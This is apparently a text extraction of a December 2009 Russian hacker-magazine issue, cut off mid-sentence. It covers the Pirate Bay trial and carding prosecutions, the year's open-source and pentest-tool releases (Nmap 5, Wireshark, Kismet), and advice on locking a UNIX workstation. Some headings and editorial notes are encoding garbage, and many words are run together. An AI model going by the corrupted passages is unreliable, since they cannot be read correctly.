АДМИНЫ TPB — ГОТФРИД СВАРТХОЛЬМ (СЛЕВА) И ПИТЕР СУНДЕНейжем (Fredrik Neij aka «TiAMO»),Питером Сунде Колмисоппи (PeterSunde Kolmisoppi aka «brokep»)и Карлом Лундстремом (CarlLundstrom) мы посвятили отдельнуюстатью, а за происходящимивокруг сайта событиями продолжаемнаблюдать до сих пор.Перечислить все перипетии, черезкоторые TPB прошел за год, простоневозможно — слишком много ихбыло: суды с антипиратами всехмастей, обвинительный приговор вШвеции, скандалы, попытки копирастовблокировать TPB обходнымипутями, переезды, не увенчавшаясяуспехом попытка продать трекер итак далее, далее, далее.Однако, несмотря на происходящее,скандальный ресурс до сихпор продолжает работать, а вся егокоманда по-прежнему на свободе,хотя, напомним, каждому из ребятдали по году тюрьмы. Пиратскаяпартия Швеции, благодаря шумихе,поднятой вокруг процесса, сумелапройти в Европарламент, получивтам целых два кресла. И главное —правообладатели пока не увиделиот TPB ни цента. В итоге получается,что, невзирая на обвинительныйприговор и негодование антипиратоввсего мира, этот раунд все жеостается за The Pirate Bay.Еще одно громкое разбирательство<strong>2009</strong> года состоялось в США, гдевласти «накрыли» с поличнымкардеров. Альберта Гонсалеса akasegvec aka soupnazi aka j4guar17арестовали еще в 2008 году, ноподробности начинают вскрыватьсятолько сейчас.28-летнему жителю Калифорниипредъявили 19 обвинений, в числекоторых значились кибермошенничество,хищение личных данных приотягчающих обстоятельствах, сговорс целью мошенничества и многоедругое. Дело в том, что Гонсалес, похоже,самый «крупный» пойманныйXÀÊÅÐ 12 /132/ 09кардер за всю историю США — Гонсалесаи его сообщников обвинилив краже 130 млн. номеров кредитныхи дебетовых карт. От действийпредприимчивых кардеров пострадалаплатежная система HeartlandPayment Systems, национальнаясеть магазинов 7-Eleven, сетьсупермаркетов Hannaford Brothers имногие другие. Ворованные номераГонсалес и компания продавали.Сообщники «мега-кардера», кстати,по некоторым данным, проживаютв России. Но, как бы то ни было,отдуваться за всех придется именнокалифорнийцу, он полностьюпризнал свою вину, и теперь егождет тюремный срок от 15 до 25 лет, атакже штраф размером почти 3 млн.долларов и конфискация имущества.EPIC FAILМежду тем, у наших хакеров запросыскромнее, но и фэйлы гораздоэпичнее. Так летом <strong>2009</strong> года вМоскве задержали казахстанского«кибер-гения», который взломал народине банковскую сеть и перевелс чужого счета на свой более миллионадолларов. Обналичив домачасть суммы, парень отправился вРоссию, собираясь оформить здесьнужные документы, а затем бежатьв Европу на ПМЖ. В это время вКазахстане взломщика вычислили иобъявили в розыск, а он, добравшисьдо Москвы, не придумалничего лучше, как попытаться обналичитьоставшуюся часть суммычерез банкоматы и банковские филиалы.Счет, конечно, уже оказалсязаблокирован, а несостоявшегосяиммигранта арестовали прямо водном из столичных банков, так какон упорно «продолжал пытаться».Теперь вместо вожделенной Германиичувака ждет уголовное дело постатье 159 УК РФ «мошенничество».Мало кто не слышал имени МаксимаЯстремского, которого западные СМИуспели окрестить чуть ли не крестнымотцом кардерских синдикатов имега-хакером. Украинец Ястремскийaka Maksik долго разыскивалсязападными спецслужбами в связис кражей и продажей номеров кредитныхи дебетовых карт, на которойон заработал 11 млн. долларов (емуприписывают угон порядка 40 млн.номеров). Кстати, спецслужбы СШАсвязывают Ястремского с Гонсалесом,о котором речь шла чуть выше, по ихмнению, Maksik входил в преступнуюгруппу, которой руководил Гонсалес.Но задержали Ястремского вовсе нев США, а в Турции еще в 2007 году,куда он прилетел отдыхать. Согласноофициальной информации, тогдапри нем был ноутбук, на которомобнаружились данные о почти 5.000ворованных карточек. В целом,Maksik с сообщниками взломали 12турецких банков, систему TJX, Barnes& Noble, Forever 21, DSW и так далее.И хотя ущерб, нанесенный турецкимбанкам, составил всего $23.200,отдавать хакера американцам туркиотказались. Весной <strong>2009</strong> года по делуЯстремского, наконец, состоялся суд,и кардера приговорили к 30 годамтюрьмы. В Турции. Ехать отдыхатьв страну, у которой есть договоренностьо сотрудничестве с правоохранительнымиорганами США, когда,к тому же, находишься в международномрозыске, очевидно, было несамым лучшим решением. Стоилиэти миллионы 30-ти лет в турецкойтюрьме или нет, пожалуй, толькосамому Maksik’у и известно (ïïö,âñåé ðåäàêöèåé ñî÷óâñòâóåì÷óâàêó, — Прим. ред.).ÊÎÌÌÅÍÒÀÐÈÉÏÀÂËÀ ÏÐÎÒÀÑÎÂÀИ в заключение, мы решилиобратиться к специалисту в областиправа и поинтересоваться егомнением относительно наиболеезначимых юридических прецедентовуходящего года. В частности,было интересно узнать о происходящемв России, хотя нам покаи далеко до западного размахагонений на пиратов, кардеров ииже с ними. Комментарий любезносогласился дать Павел Протасов —хорошо известный в рунете юрист ижурналист, положивший немало силна просвещение нашего it-шногобрата в области юриспруденции.Кстати, поздравляем Павла —совсем недавно он успешно отсудилу незабвенного РАО («РоссийскоеАвторское Общество») право насуществование домена antirao.ru, вкотором РАО попыталось усмотретьоскорбление в свой адрес.По поводу уходящего года Павелповедал нам следующее: «Какмне кажется, наиболее значимымив <strong>2009</strong> году были событиями всфере гражданского, а не уголовногоправа. Прежде всего, это серияисков, поданных РАО «в защиту прававторов». У меня имеются основанияполагать, что это — только начало:судиться «Российское авторскоеобщество» будет и дальше. Ещеодно важное событие — принятиепленумами Верховного и Высшегоарбитражного суда совместногопостановления, посвященноговопросам применения Четвертойчасти ГК (÷åòâåðòàÿ ÷àñòü ÃÊíàïðÿìóþ çàòðàãèâàåò âîïðîñûàâòîðñêèõ ïðàâ è èõ íàðóøåíèÿ.Î ïðèíÿòèè ïîñòàíîâëåíèÿìû óæå ïèñàëè, è îá ýòîìãóäåë âåñü ðóíåò, — Прим. Mifrill).Кроме того, имели место несколько«знаковых» судебных процессов иззаиспользования произведений винтернете. По этим процессам можносудить о том, как будет развиватьсяпрактика в дальнейшем. Преждевсего, интересно решение по такназываемому «делу мастерхоста» исайта «зайцев.нет»(«Ìàñòåðõîñò»ïûòàëèñü ïðèâëå÷ü ê îòâåòñòâåííîñòèçà ðàçìåùåííûå íàõîñòÿùåìñÿ ó íèõ zaycev.netìóçûêàëüíûå òðåêè, — Прим.Mifrill). Постановление было вынесенов декабре прошлого года, но опубликованотолько в этом году. Совсемнедавно прошел еще один похожийпроцесс, по делу «Рамблера», которыйтак же хотели привлечь к ответственностиза ролик, размещенныйодним из пользователей. В обоихслучаях суды отказали в требованияхистцов о привлечении к ответственностихостеров за произведения,размещенные у них пользователями.Думаю, и в дальнейшем судебнаяпрактика будет развиваться похожимобразом, и судам все-таки придетсяустанавливать, кто же на самом делесовершал действия по использованиюпроизведения, а кто простопредоставлял для этого техническуювозможность. Хостер может бытьпривлечен к ответственности толькопосле предупреждения о незаконномразмещении у него контента,в том случае, если не удалитего. Дело в том, что в последнеевремя распространились иски,авторы которых требуют денегне с тех, кто совершил правонарушение,а с тех, кого легчедостать. Надеюсь, суды пресекутподобную практику». z077


UNIXOIDЮРИЙ «ADEPT» ВИДИНЕЕВ ADEPTG@GMAIL.COMÂñòðå÷à ïðîøëîãîè áóäóùåãîÎáçîð îñíîâíûõ äîñòèæåíèé â ìèðå OpenSourceçà ïðîøåäøèé ãîä è ïîïûòêà çàãëÿíóòü â áóäóùååНаверняка тебе, как и мне, часто приходилось слышать мнение, что Linux— самая быстроразвивающаяся ОС в мире. А так как в конце года принятоподводить итоги, то предлагаю оценить темпы развития Linux (а такжедругих основных OpenSource-проектов) за год и постараться заглянуть вгрядущее, гадая на roadmap’ах.Уходящий год оказался богат не только наинтересные релизы, но и на круглые даты.В сентябре проекту GNU стукнуло 25 лет, вавгусте ядро Linux достигло совершеннолетия,и в том же месяце Unix праздновал свойочередной юбилей — 40 лет.ЯДРА — ЧИСТЫЙ ИЗУМРУДОсновная часть любой операционной системы— это ядро. За прошедший год ветка 2.6 ядраLinux пережила 3 релиза (2.6.29, 2.6.30 и 2.6.31).И переживет еще один в декабре (2.6.32), есливсе пойдет по плану.Суммарно в версиях 2.6.29 — 2.6.31 к ядрудобавили около трех миллионов строк кода,изменения затронули практически все подсистемыядра. Количество нововведений плохосоотносится с размером статьи, поэтому опишулишь основные и, на мой взгляд, интересные:1. Технология KMS (kernel mode setting),позволяющая менять видеорежимы средствамиядра. Поддерживаются видеокарты отIntel, ATI/AMD вплоть до hd4xxx/r700 (толькос открытыми дровами) и nVidia (только с дровамиnouveau). Кроме того, что технология —078великое благо для разработчиков ядра и X11,она дает плюсы и простым пользователям:позволяет запускать X11 не от рута, обеспечиваетболее плавное переключение междупользовательскими аккаунтами и между X11 ивиртуальными терминалами.2. Новые файловые системы:• Btrfs — разработанная с нуля ФС, по своимфункциональным возможностям близкая к ZFS:снапшоты, компрессия, динамическая дефрагментация,журналирование и т.д. Последняяна данный момент версия данной ФС — 0.19 —явно указывает на то, что пока использовать еестоит только в целях тестирования.• Squashfs — ФС, обеспечивающая очень высокоесжатие данных, но предоставляющая доступв режиме «только для чтения». Основныеобласти применения — всевозможные LiveCD ивстраиваемые устройства. И хотя в этих областяхФС уже успешно используется пару лет, восновную ветку ядра она была включена тольков версии 2.6.29.• NILFS2 — устойчивая к сбоям журнально-структурированнаяФС. Данные хранитв подобной логам структуре, поддерживаетверсионность: позволяет при смонтированнойв режиме «чтение-запись» ФС смонтироватьлюбое из ее предыдущих состояний в режиме«только для чтения».• POHMELFS — несмотря на шуточное название,это довольно серьезная высокопроизводительнаясетевая ФС, в перспективе болеебыстрый и функциональный аналог NFS.• devtmpfs (или Devfs 2.0) — виртуальнаяфайловая система /dev теперь создается вОЗУ через tmpfs, что позволяет получить к нейдоступ еще до монтирования корня.3. Поддержка новых протоколов:• WiMAX.• 802.11w — протокол безопасной передачиуправляющей информации в беспроводныхсетях. Стандарт пока не утвержден, существуеттолько в виде черновика.• RDS (Reliable Datagram Sockets) — протоколпредназначен для высокоскоростного обменаданными между узлами в кластере.• IEEE 802.15.4 — протокол описывает низкоскоростную(до 250 Кбит/с) беспроводную сетьи предназначен для общения между собойвсевозможных датчиков.XÀÊÅÐ 12 /132/ 09


Gnome-shell в Gnome 2.28• USB 3.0 — новая версия старого доброгоUSB, увеличивающая теоретическую пропускнуюспособность до 4,8 Гбит/с.Версия 2.6.32 ядра станет самой революционнойверсией за последние пару лет, какминимум — ведь в эту версию войдет код отMicrosoft :).ОТКУДА ДРОВИШКИ?Не все дрова для Linux содержатся в ядре,некоторые производители выпускают своизакрытые (проприетарные) версии. Самыйраспространенный пример — дрова длявидеокарт от известных производителей: AMDи nVidia.AMD выпускает новый релиз своих закрытыхдров Catalyst каждый месяц. Новые функциидобавляются сравнительно редко, в основномбагфиксы (а багов в дровах пока ещедостаточно) и официальная поддержка новыхдистрибутивов.Итак, прогресс дров Catalyst от AMD за этотгод:• Полная поддержка OpenGL 3.0.• Частичная поддержка RandR 1.3.• Поддержка Hybrid CrossFire — технологии,позволяющей объединить мощность несколькихнеидентичных GPU (например, встроеннойи внешней).• Поддержка Multiview — технологии, позволяющейиспользовать несколько дисплеев нанескольких видеокартах.В <strong>2009</strong> году nVidia выпускала дрова в трехветках: 180.х, 185.х и 190.х. В основном, вchangelog’ах встречались багфиксы и добавлениеподдержки новых GPU/ядер/X.org.Ключевые изменения в дровах nVidia за год:• Полная поддержка OpenGL 3.2.• Множественные улучшения в технологииVDPAU, позволяющей возложить на GPUXÀÊÅÐ 12 /132/ 09нагрузку по декодированию видео.Но главным трендом уходящего года, связаннымс GPU, стала, несомненно, технологияOpenCL. OpenCL — реализация техникиGPGPU, позволяет перекладывать на GPUвычисления, которые обычно производятсяCPU. Стандарт OpenCL был разработан вкачестве замены аналогичных решений отпроизводителей видеокарт (nVidia CUDA, AMDStream), поэтому написанная с использованиемOpenCL прога будет работать на видеокартелюбого производителя, драйвера которой поддерживаютOpenCL. Даешь стандартизацию!БЛИЖЕ К ПОЛЬЗОВАТЕЛЮВесь уходящий год не только кернел-хакерыработали, не покладая рук. Разработчикамболее приближенных к пользователюприложений тоже есть, чем гордиться. Взять,например, окружения рабочего стола. За <strong>2009</strong>год девелоперами самых больших «противоборствующих»лагерей было выпущено по 2мажорных релиза.Основные новшества Gnome 2.26 и Gnome2.28:• Поддержка аутентификации с помощьюсканера отпечатков пальцев.• Упрощена настройка многомониторныхконфигураций.• Значительно расширены возможности стандартногомодуля Bluetooth.• Прога для записи дисков Brasero вошла всостав Gnome.• Evolution стал на шаг ближе к MS Outlook:теперь он понимает PST и умеет общаться с MSExchange 2007.• Регулятор громкости интегрирован с моднымPulseAudio.• Множество улучшений в Totem: наконец-тоон научился воспроизводить видео с местапоследней остановки.Согласен, changelog выглядит не особовнушительно. Но это не значит, что проектостанавливается в развитии — просто вовсюидет работа над релизом новой ветки 3.0. Прогрядущую версию (должна выйти во второмтретьемквартале 2010) известно немного.Точно будут использоваться две ключевыетехнологии:• Gnome Shell — рабочее окружение, предоставляющееновый способ запуска приложений,управления окнами и доступа к документам.Словами это описать сложно, лучше одинраз увидеть: http://live.gnome.org/GnomeShell/Screencasts.• Gnome Zeitgeist — технология, которая регистрируетдействия пользователя (созданныев процессе работы файлы, посещенные сайты,почтовые и IM сообщения) и сохраняет их вхронологическом порядке. Это позволяет нетолько быстро просмотреть историю, но и легконайти любой созданный файл.Также известно, что Gnome 3 будет использоватьновую версию библиотеки Gtk+ 3.Релиз KDE4 не все поклонники этой графическойсреды восприняли с энтузиазмом (Линус настолькорасстроился, что перешел на Gnome :)).И было, отчего расстроиться: релиз 4.0 сложноназвать стабильным, тянет разве что на альфаверсию.К тому же, сломали совместимостьсо старыми приложениями. Не упали духом,пожалуй, только разработчики: они продолжилиупорно устранять баги и добавлять новые фичи.Результатом года кропотливого труда сталирелизы 4.2 и 4.3 (а также минорные релизы 4.2.1-4.2.4 и 4.3.1-4.3.3). Основные нововведения:• Интегрирование PowerDevil — мощногосредства управления питанием.• Интегрирование PolicyKit — системы дляболее гибкого управления привилегиями.• Улучшения в интерфейсе Plasma: новаясистема уведомлений, новая тема Air, возможностьгруппировки приложений на панелизадач, автоскрытие панели и многое другое.• В Kwin добавлены новые эффекты и переработанинтерфейс в сторону упрощениянастройки.• Возможность запускать команды под учетнойзаписью другого пользователя.• Несколько десятков новых плазмоидов.• Новый, более гибкий, системный трей.Следующий релиз (4.4) намечен на январь2010. Он принесет следующие улучшения:• Будет базироваться на Qt 4.6.• KaddressBook будет полностью переписан —обзаведется новым интерфейсом и интеграциейс Akonadi (хранилище данных для записныхкнижек, органайзеров, будильников и другихPIM-приложений).• Интерфейс Plasma будет оптимизирован дляэкранов нетбуков.079


UNIXOIDOOo4kidsМакет возможного оформления Firefox 4• KAuth — средство, предоставляющее единоеAPI для аутентификации. Пока в качествеbackend’а может быть использован толькоPolicyKit.В целом, у KDE есть все шансы вернуть довериеЛинуса :).ХОЛОДНАЯ ВОЙНАБРАУЗЕРОВНе знаю, как для тебя, но для меня браузер— один из основных рабочих инструментов.Уходящий год в мире браузеров был богат насобытия и релизы. Новичок — Google Chrome— обзавелся тремя релизами и отхватил около4% рынка браузеров (если верить статистикеstatcounter.com). Очень популярная у нашихсоотечественников Opera в прошедшем годуполучила релиз за номером 10. Основныеизменения:• Новая версия движка Presto, значительноускоряющего отрисовку страниц. К тому же,теперь Opera полностью проходит ACID3 (тестподдержки браузером Web-стандартов).• Проверка орфографии для 51 языка.• Технология Opera Turbo — запрошеннаяклиентом страница предварительно сжимаетсяна сервере Opera. Меньше трафика и вышескорость!Самый популярный открытый браузер — Firefoxдорос до нового релиза 3.5. И должен дорастидо 3.6 к концу года. Основные нововведения вверсиях 3.5 и 3.6:• Поддержка некоторых тегов форматаHTML5, самые интересные из которых: audioи video. Теперь встроить звуки или клип встраничку очень просто. Есть встроеннаяподдержка кодеков Ogg Vorbis и Ogg Theora.Видео может проигрываться в полноэкранномрежиме.• Режим приватного просмотра, в котором неведется никакая история.• Поддержка определения местоположения.Firefox может сообщать сайту твое приблизительноеместоположение (пользуясь сервисомGoogle Location Services).• Поддержка определения ориентации с помощьюакселерометров.• Проект Personas — поддержка урезанных тем,не нуждающихся в перезагрузке для применения.• Поддержка формата Web Open Font Format(WOFF) для распространения шрифтовOpenType, Open Font Format или TrueType всжатом виде.• Страница about:support, содержащая информациюо версии, установленных плагинах иосновных параметрах конфигурации.Firefox 3.7 должен выйти в первой половине2010. Об изменениях известно пока немного:• Несколько измененный внешний вид: использованиеодинаковых кнопок вперед/назадна всех платформах, удаление визуальногоразделителя между панелями.• Поддержка WebGL — технологии, позволяющейполучать доступ к функциям OpenGL черезHTML5 canvas tag и JavaScript.На мой взгляд, Firefox — самый успешныйOpenSource-проект для пользователя. Посудисам: за всю историю существования Firefox егоскачали более миллиарда раз, в день релизаверсии 3.0 ее скачали более 8 миллионовчеловек (о чем даже записано в книге рекордовГиннеса); с сентября <strong>2009</strong> года Firefox 3.5 — самыйпопулярный браузер в Европе (по версииstatcounter.com).OPENOFFICEВторое место в рейтинге OpenSource-проектовдля пользователя по праву принадлежитофисному пакету OpenOffice. В <strong>2009</strong> году увиделисвет версии 3.0.1, 3.1 и 3.1.1. В серединедекабря ждем еще 3.2.Основные изменения версий 3.0.1-3.2:• Существенное увеличение производительности.• Увеличение размера личного словаря до30 000 слов.• Усовершенствование функции комментариевк тексту, теперь поддерживается функциядиалога.• Поддержка метаданных формата ODF 1.2.• Поддержка Opentype/CFF шрифтов.• Начальная поддержка «умных» шрифтовGraphite.• Улучшенный импорт OOXML. Возможностьэкспорта в OOXML.У проекта есть достаточно подробный roadmap,из которого можно узнать, что версия 3.3выйдет в конце мая 2010, 3.4 — в ноябре 2010.Планируемые изменения:• Удаление поддержки старых форматовStarOffice (*.sdw, *.sdc, *.sdd) (в версии 3.4).• Интеграция первых достижений проектаRenaissance (проект по изменению внешнеговида OpenOffice).• Импорт SVG.• Возможность сравнивать таблицы при сравнениидокументов.В конце уходящего года разработчики представилиновый проект OOo4kids — упрощеннуюверсию OpenOffice для детей. Из «взрослого»OpenOffice был убран некоторый функционал, всвязи с чем возросла производительность. К томуже, немного изменен интерфейс: меньше кнопокна верхней панели, и добавлена боковая панель.Пакет пока еще не имеет русского интерфейса.ВИРТУАЛИЗАЦИЯВот уже несколько лет технология виртуализацииразвивается стремительными темпами,область ее применения все ширится и ширится.Главным направлением развития виртуализациив уходящем году была 3D-акселерация вгостевой системе.Сначала давай взглянем насписок изменений в VMware Workstation 7:• Поддержка 3D (OpenGL 2.1 и Shader Model 3.0)в гостевых ОС Microsoft.• Виртуальная печать позволяет без установкипринтеров печатать на все принтеры хостовойОС — принтеры добавляются в гостевую ОСавтоматически.• Возможность обновления VMware Tools черезинтернет.• Возможность создания снимков виртуальноймашины по расписанию.• Шифрование и защита паролем виртуальныхмашин.• Возможность поставить на паузу виртуальнуюмашину.• Добавлена поддержка режима совместимостив Windows 7.080 XÀÊÅÐ 12 /132/ 09


Thunderbird 3Основной конкурент WMware Workstation на десктопе — SunVirtualBox. Несмотря на непонятную судьбу компании-разработчика(поглотит ее Oracle Corporation или нет), данныйпродукт виртуализации активно развивался (в <strong>2009</strong> году зарелизилисьверсии 2.20, 3.0.0-3.0.10). Основные новшества:• Импорт и экспорт виртуальных машин в формат OVF (OpenVirtualization Format).• VT-x/AMD-V включены по умолчанию.• Поддержка USB на хосте OpenSolaris.• Аппаратное ускорение OpenGL 3D для хостов Linux иSolaris.• Эмуляция до 32-х виртуальных CPU.• Возможность аппаратного ускорения Direct3D наWindows-госте.• Добавлена поддержка режима совместимости в Windows 7.• Появился порт VirtualBox на FreeBSD.Другая динамично развивающаяся система виртуализации,способная эмулировать различные платформы (Qemu) вуходящем году была представлена двумя релизами — 0.10 и0.11. Список основных изменений:• Поддержка KVM.• Для компиляции больше не требуется GCC 3.x.• Эмуляция BSD userspace.• Эмуляция Intel e1000, Nokia N-series tablet, OMAP2.• PCI hotplug.• Поддержка псевдонимов для виртуальных машин.• Возможность задать последовательность загрузки.• Поддержка блочных устройств через http.Широко использующаяся на серверах система виртуализацииXen перенесла одно крупное обновление — былавыпущена версия 3.4.0 со следующими изменениями:• Усовершенствован проброс устройств, особый акцентсделан на устройства для рабочих станций.• Значительные улучшения, касающиеся надежности иотказоустойчивости.• Усовершенствован интерфейс Viridian (Hyper-V).• Управление питанием. Новые алгоритмы разделения процессорногоресурса, позволяющие использовать энергиюболее экономно.УТИЛИТЫ ДЛЯ ПЕНТЕСТИНГАНаши любимые инструменты для пентестинга тоже порадовалиинтересными мажорными релизами. Например,зарелизился Nmap 5 со следующими изменениями:• В комплект программ, поставляемых с nmap, добавленаутилита ncat — улучшенная версия nc, умеющая работать нетолько с TCP, но и с UDP, и обладающая еще целым рядоминтересных возможностей.• Также в комплект добавлена программа ndiff,позволяющая сравнивать различные результатысканирования. Ndiff очень удобно использоватьНовый интерфейс Kismetдля автоматического периодического сканированиясети.• Увеличена скорость сканирования портов. В частности,был обновлен список TCP-портов, сканируемых поумолчанию. Сейчас в нем 1715 портов. А в режиме быстрогосканирования (nmap -F) теперь сканируются не 1300 портов,как раньше, а только 100 наиболее часто используемых.• Появилась возможность сканировать с указанием фиксированногочисла пакетов в секунду.• В два раза увеличена база сигнатур операционных систем.Теперь она содержит 2003 записи. Также была увеличенабаза сигнатур приложений — с 4558 до 5512 записей.• Значительно улучшена работа NSE (Nmap ScriptingEngine), расширения, позволяющего использовать простыескрипты для автоматизации различных действий с Nmap.Число скриптов в комплекте увеличено (теперь их 59),добавлены скрипты для симулирования атак, осуществленияразличных проверок на наличие уязвимостей, подборапаролей через SNMP и POP3 и т.д.Знаменитый снифер Wireshark в этом году сначала обновилсядо версии 1.2.0, а затем и до версии 1.2.3:• Расширен список поддерживаемых ОС; теперь там присутствуютMac OS X и Windows 7 (в том числе, 64-разрядная).• Автодополнение при вводе фильтров.• Добавлена поддержка разрешения DNS-имен с помощьюбиблиотеки c-ares.• Добавлена поддержка разбора многих новых протоколов,а также форматов файлов с перехваченными пакетами.• Поиск в базе данных GeoIP и интеграция OpenStreetMapс GeoIP.• Улучшен вывод на печать в формате Postscript.• Поддержка Pcap-ng — нового формата файлов для храненияперехваченных пакетов.• Поддержка получения информации о процессах черезIPFIX.• Последний используемый профиль конфигурации отнынесохраняется.• Настройки протоколов можно изменить из контекстногоменю пакета.• Поддержка сравнения IP-пакетов.• Capinfo теперь показывает среднюю скорость прохожденияпакетов.Известный снифер сетей 802.11 Kismet порадовал насновым релизом <strong>2009</strong>-06-R1:• Полностью переписанное ядро Kismet-Newcore.• Новый пользовательский интерфейс.• Новые опции для фильтрации.• Может частично выполнять функции IDS.• Новая архитектура с поддержкой плагинов.HTTP://WWWlinksRoadmap’ы известныхпроектов:• http://live.gnome.org/Schedule• http://en.wikipedia.org/wiki/KDE_4#Release_schedule• https://wiki.mozilla.org/Firefox/Roadmaphttp://wiki.services.openoffice.org/wiki/FeaturesINFOinfoВ Ubuntu 9.10 можновключить gnomeshellс помощьюкоманды «gnomeshell--replace».После перезагрузкисистема вернется кпрежнему виду.XÀÊÅÐ 12 /132/ 09 081


UNIXOID• Автоопределение используемогодрайвера и каналов прослушиваемогоустройства.МЕСТНЫЕ РЕАЛИИОдним из главных вопросов при миграцииобычного офиса с винды на линуксбыла корректность работы небезызвестнойбухгалтерской программы от «1С».Сервер уже давно и успешно работаетпод линуксом, а вот с клиентом сложнее.Да, после плясок с бубном можнобыло заставить его работать в обычномwine, но стабильность работы никто негарантировал. Можно было купить wine@etersoft, гарантированно поддерживающийклиент, но ключевое слово «купить»и стоимость сетевых версий не каждомуруководству по нраву, особенно в кризисныевремена.Но вдруг свершилось чудо! «1С» выпустила новуюверсию платформы «1С: Предприятие 8.2»,с поддержкой линукса клиентом. Правда, покатолько веб-клиентом (и только через Firefox), ноэто уже не может не радовать.Еще один класс приложений, работа которыхв линуксе просто необходима при миграциинекоторых предприятий — всевозможныеCAD-системы. В wine корректно работаютдалеко не все приложения этого класса, а ужнормальные нэйтивные можно пересчитатьпо пальцам одной руки. Но в конце уходящегогода показался свет в конце тоннеля— компания etersoft выпустила специальнуюверсию своего wine, заточенную под работуCAD-систем — wine@etersoft CAD. На моментнаписания статьи программа находилась встадии beta-тестирования и поддерживалатолько Компас 3D 10. В планах поддержкаAutoCAD 2008, Компас 3D 9, Компас График,BricksCAD и Plantracer.ПРЕКРАСНОЕ ДАЛЕКО,ИЛИ ЧТО ГОД ГРЯДУЩИЙНАМ ГОТОВИТКроме описанного выше, в грядущем годуможно ждать GIMP 2.8 и Thunderbird 3.Назвать дату выхода «убийцы фотошопа»сложно даже приблизительно, так как разработчики,видимо, не очень любят составлятьroadmap’ы и давать обещания :). Из нововведенийстоит отметить:• Дальнейшая интеграция GEGL (GEnericGraphics Library, библиотека для обработкиизображений).Популярность различных браузеров в Европе в <strong>2009</strong> годуТеперь-то мы знаем, на что Линус променял KDE :)• Долгожданный однооконный интерфейс(опционально).• Улучшение инструмента «Текст». Отныне текствводится прямо на холсте, а не в отдельноммаленьком окне.• Каталогизация ресурсов — к любой кисти,текстуре или градиенту можно будет добавитьметку, по которой потом удобно осуществлятьпоиск.• Поддержка простых векторных слоев.• В числовых полях ввода теперь можно использоватьарифметические выражения.Популярный почтовый клиент в начале следующегогода дорастет до версии 3. Изменения:• Движок от Firefox 3.5 (Gecko 1.9.1), благодарячему поддерживаются все функции огнелиса3.5 (теги audio, video и прочее).• Система вкладок, как в Firefox. При выходе изпрограммы запоминаются текущие открытыевкладки.• Новая поисковая система — теперь всесообщения индексируются. Поиск по индексуработает очень быстро.• Новый мастер настройки учетных записей.• «Умные» папки — при наличии несколькихучетных записей можно использовать для нихобщие папки.• Предпросмотр нескольких сообщений.• Упрощенная работа с контактами.• Новый менеджер расширений.• Менеджер активности — ведет лог внутреннихсобытий проги.ЗАКЛЮЧЕНИЕИсходя из описанных нововведений, рискнупредположить, что год 2010 станет годомлинукса на десктопе. Хотя… где-то я это ужеслышал :). z082XÀÊÅÐ 12 /132/ 09


UNIXOIDЕВГЕНИЙ ЗОБНИН ZOBNIN@GMAIL.COMÁåðåãèñåáÿÇàùèùàåìñÿîò çàïàäëîñòðîåíèéВ прошлом номере мы говорили о шутках,западлостроениях и всем том, что можносделать с UNIX-системой в отсутствиевладельца машины (или подсунув емунаш зловредный код). Все это, конечно,интересно и необычайно эффективно, воттолько совершая западлостроение противдругого, надо думать и о себе. Рано илипоздно месть придет, и к ней надо бытьготовым.Íаиболее эффективной защитой отразного рода вторжений в твою системубудет повышение уровня паранойи,и чем этот уровень выше — тем лучшедля тебя любимого. Сложные пароли,регулярные проверки файлов на изменения,ограничение всего и вся — вот, чем ты должен заниматься,не пропуская ни одного мало-мальскиподозрительного процесса. И первое, с чего следуетначать — с защиты своего рабочего места.ЗАЩИТА РУБЕЖЕЙЗападлостроения в офисе, учебном заведении илюбом людном месте наиболее распространеныи эффективны. Машины постоянно остаются безприсмотра и любой, хоть чуточку подкованныйв техническом плане, человек может делатьс брошенными системами все, что угодно. Тыуходишь за кофе, возвращаешься и видишьвместо привычного черного окна xterm нечтораскрашенное в гламурно-розовый цвет с кадромиз какого-то ситкома в качестве бэкграунда.Страшного ничего нет, зато ЛОР на ближайшие10 минут остался без тебя.К счастью, защититься от физического доступаочень просто. Для этого надо привыкнутьблокировать экран на время своего отсутствия (и084можно спокойно бродить где угодно). Способовсделать это уйма, начиная от выбора пунктаменю Lock Screen в любой среде и заканчиваяклавиатурными комбинациями: (KDE и Gnome) и (Xfce). То жесамое можно сделать и из командной строки:KDE $ qdbus org.freedesktop.ScreenSaver /ScreenSaver LockGnome $ gnome-screensaver-command -lXfce $ xflockДля остальных случаев можно использоватькоманду:$ xscreensaver-command -lockИли установить программку xlock, еслиxscreensaver не активирован. Консольныйаналог называется vlock. Популярные текстовыеоконные менеджеры, такие как GNU Screen иTmux, также позволяют лочить терминал.Блокировка экрана не принесет большойвыгоды, если в BIOS активирована возможностьзагрузки с CD (всегда найдутся перцы, которыевставят Linux LiveCD в привод и нажмут кнопкуReset). Поэтому загрузку с любых носителей,кроме жесткого диска, придется запретить черезCMOS Setup и поставить на него пароль. Дляпущей надежности обнули файл /etc/securetty,хранящий списки всех терминалов, с которыхвозможен вход под учетной записью root.Если же враг все-таки ухитрился войти всистему, украв пароль или же каким-то другимспособом, то его деятельность легко отследитьс помощью вызова команды «last», которая покажетвсе, гхм, акты проникновения, а также чтенияфайлов истории (~/.history, ~/.bash_history)и логов.ИНСАЙДЕРЫВторой по популярности способ проникновения всистему с целью устроить пользователю западлооснован на подкидывании жертве подложногопакета, конфигурационного файла или команды.Метод защиты от подобного вида бомб замедленногодействия сводится к следованию ряду банальных,но заслуживающих внимания правил:1. Не запускай команды, действие которых ты полностьюне понимаешь. Различные зловредныекоманды UNIX-шелла могут быть ловко замаскированыв sh/perl/python/ruby-скрипт, запустивкоторый ты можешь остаться без системы.2. Не применяй конфигурационные файлы безXÀÊÅÐ 12 /132/ 09


их прочтения. Некоторые приложения позволяютпоместить в конфиг целый скрипт, которыйможет сделать очень многое.3. Не накладывай патчи на исходники софтинбез прочтения их содержимого или хотя быудостоверения того факта, что они были полученыиз источников, заслуживающих доверия.Нет никаких гарантий, что патч не содержитбэкдор, вредоносный код или другую пакость.4. Никогда не устанавливай пакеты вручную,путем скачивания с сайта и исполнения командыrpm/deb/что-то еще. Любой нормальныйдистрибутив имеет удаленный репозиторий, длядоступа к которому используются ключи, а всепакеты имеют проверочный хэш-код. В крайнемслучае, скачивай пакеты с сайтов, идентифицирующихсебя с помощью сертификатов.5. Всегда распаковывай архивы во временныйподкаталог своего домашнего каталога и неленись проверять их содержимое перед распаковкой.Архив может быть tar-бомбой, подменяющейфайлы твоего домашнего каталога,или содержать decompression-бомбу, котораяпосле распаковки превратится в огромныйфайл, и если он попадет, например, в /tmp, тоработоспособность системы будет нарушена.6. Создай файл с именем 